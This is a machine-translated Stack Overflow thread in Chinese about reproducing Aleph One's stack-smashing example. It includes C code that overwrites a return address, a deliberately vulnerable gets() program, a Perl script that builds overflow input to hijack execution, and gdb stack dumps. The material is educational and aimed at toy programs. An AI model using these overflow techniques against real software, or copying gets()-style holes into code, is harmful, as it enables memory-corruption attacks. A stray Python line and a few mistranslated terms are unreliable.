尝试破坏堆栈

6

我想要复现Aleph One在文章“smashing the stack for fun and profit”中提到的stackoverflow结果(文章链接:http://insecure.org/stf/smashstack.html)。

但我尝试覆盖返回地址似乎没有成功。

C语言代码:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }

主函数反汇编:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.

我已经硬编码了返回地址,跳过了x=1;这一行代码,我从反汇编器中使用了一个硬编码的值(地址:0x4005da)。这个漏洞的意图是打印0,但实际上它却打印了1。
我非常有信心“ret = buffer1 + 12;”不是返回地址的地址。如果是这种情况,我该如何确定返回地址?是gcc在返回地址和缓冲区之间分配了更多的内存吗?
4个回答

5
以下是一个我为之前的一位朋友写的关于使用`gets`执行缓冲区溢出攻击的指南。它介绍了如何获取返回地址以及如何使用它来覆盖旧的地址:
我们对栈的了解告诉我们,在你试图溢出的缓冲区后面,返回地址出现在栈上。然而,返回地址在缓冲区之后多远取决于你使用的架构。为了确定这一点,首先编写一个简单的程序并检查汇编代码:
C 代码:
void function() 
{
    char buffer[4];
}

int main() 
{
    function();
}

汇编语言(简述):

function:
    pushl %ebp
    movl %esp, %ebp
    subl $16, %esp
    leave
    ret
main:
    leal 4(%esp), %ecx
    andl $-16, %esp
    pushl -4(%ecx)
    pushl %ebp
    movl %esp, %ebp
    pushl %ecx
    call function
    ...

有几个工具可以用来检查汇编代码。首先,当然是使用gcc从主文件编译直接输出汇编代码,使用命令gcc -S main.c。这可能很难阅读,因为没有提示哪些代码对应原始的C代码。此外,有很多样板代码,很难筛选。另一个要考虑的工具是gdbtui。使用gdbtui的好处是,您可以在运行程序时检查汇编源代码,并手动检查程序执行期间的堆栈。但是,它有一个陡峭的学习曲线。
我最喜欢的汇编检查程序是objdump。运行objdump -dS a.out会给出带有原始C源代码上下文的汇编源代码。使用objdump,在我的计算机上,从字符缓冲区的偏移量到返回地址是8个字节。
此函数function获取返回地址并将其增加7。返回地址最初指向的指令长度为7个字节,因此添加7使返回地址指向分配后的指令。
在下面的示例中,我覆盖了返回地址以跳过指令x = 1
简单的C程序:
void function() 
{
    char buffer[4];
    /* return address is 8 bytes beyond the start of the buffer */
    int *ret = buffer + 8;
    /* assignment instruction we want to skip is 7 bytes long */
    (*ret) += 7;
}

int main() 
{
    int x = 0;
    function();
    x = 1;
    printf("%d\n",x);
}

主函数(在80483af处的x = 1为七个字节):

8048392: 8d4c2404       lea 0x4(%esp),%ecx
8048396: 83e4f0         and $0xfffffff0,%esp
8048399: ff71fc         pushl -0x4(%ecx)
804839c: 55             push %ebp
804839d: 89e5           mov %esp,%ebp
804839f: 51             push %ecx
80483a0: 83ec24         sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff     call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8         mov -0x8(%ebp),%eax
80483b9: 89442404       mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff     call 80482d8 <printf@plt>
80483c9: 83c424         add $0x24,%esp
80483cc: 59             pop %ecx
80483cd: 5d             pop %ebp

我们知道返回地址在哪里,并且已经证明更改它会影响运行的代码。通过使用gets并输入正确的字符串,缓冲区溢出可以做到同样的事情,以便用新地址覆盖返回地址。
在下面的新示例中,我们有一个使用gets填充缓冲区的函数function。我们还有一个从未调用的函数uncalled。通过正确的输入,我们可以运行uncalled。
#include <stdio.h>
#include <stdlib.h>

void uncalled() 
{
    puts("uh oh!");
    exit(1);
}

void function() 
{
    char buffer[4];
    gets(buffer);
}

int main() 
{
    function();
    puts("program secure");
}

要运行uncalled,请使用objdump或类似工具检查可执行文件,以找到uncalled的入口点地址。然后,在正确的位置将地址追加到输入缓冲区中,以覆盖旧的返回地址。如果您的计算机是小端(Little-endian)(x86等),则需要交换地址的字节顺序。
为了正确执行此操作,下面提供了一个简单的perl脚本,可生成导致缓冲区溢出并覆盖返回地址的输入。它有两个参数,第一个参数是新的返回地址,第二个参数是从缓冲区开头到返回地址位置的距离(以字节为单位)。
#!/usr/bin/perl
print "x"x@ARGV[1];                                            # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n";                                                    # new line to end gets

2
你需要检查堆栈以确定修改buffer1+12是否是正确的地址。这种东西并不是很具有可移植性。
我可能还会在代码中放置一些眼镜垫,以便您可以看到缓冲区与返回地址在堆栈上的位置:
char buffer1[5] = "1111";
char buffer2[10] = "2222";

1
你可以通过打印堆栈来找到问题所在。添加如下代码:
```python print(stack) ```
int* pESP;
__asm mov pESP, esp

__asm指令是Visual Studio特有的。一旦您获得了堆栈的地址,您可以将其打印出来并查看其中的内容。请注意,当您执行操作或进行调用时,堆栈将发生变化,因此您必须通过首先将堆栈地址处的内存复制到数组中来一次性保存整个内存块,然后再打印出该数组。
您将发现所有与堆栈帧和各种运行时检查有关的垃圾。默认情况下,VS将在堆栈中放置保护代码,以防止您正在尝试的内容。如果您打印“function”的汇编清单,您将看到这一点。您需要设置编译器开关以关闭所有这些东西。

我不能使用这种方法,因为我正在使用Linux和GNU GCC。 - Mike G
@Mike,实际上你可以使用_method_,因为gcc也提供了内联asm。你只需要将其转换为替代语法即可。 - paxdiablo

0

除了其他答案中提出的方法,您还可以使用gdb来解决这种问题。为了使输出更易于阅读,我删除了buffer2变量,并将buffer1更改为8个字节,以使事情更加对齐。我们还将编译为32位模式,以便更容易地读取地址,并打开调试(gcc -m32 -g)。

void function(int a, int b, int c) {
   char buffer1[8];
   char *ret;

现在让我们打印出buffer1的地址:

(gdb) print &buffer1
$1 = (char (*)[8]) 0xbffffa40

那么让我们打印一些过去的内容,看看堆栈上有什么。

(gdb) x/16x 0xbffffa40
0xbffffa40: 0x00001000  0x00000000  0xfecf25c3  0x00000003
0xbffffa50: 0x00000000  0xbffffb50  0xbffffa88  0x00001f3b
0xbffffa60: 0x00000001  0x00000002  0x00000003  0x00000000
0xbffffa70: 0x00000003  0x00000002  0x00000001  0x00001efc

执行回溯以查看返回地址应该指向哪里:

(gdb) bt
#0  function (a=1, b=2, c=3) at foo.c:18
#1  0x00001f3b in main () at foo.c:26

果然,在0xbffffa5b处找到了它:

(gdb) x/x 0xbffffa5b
0xbffffa5b: 0x001f3bbf

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接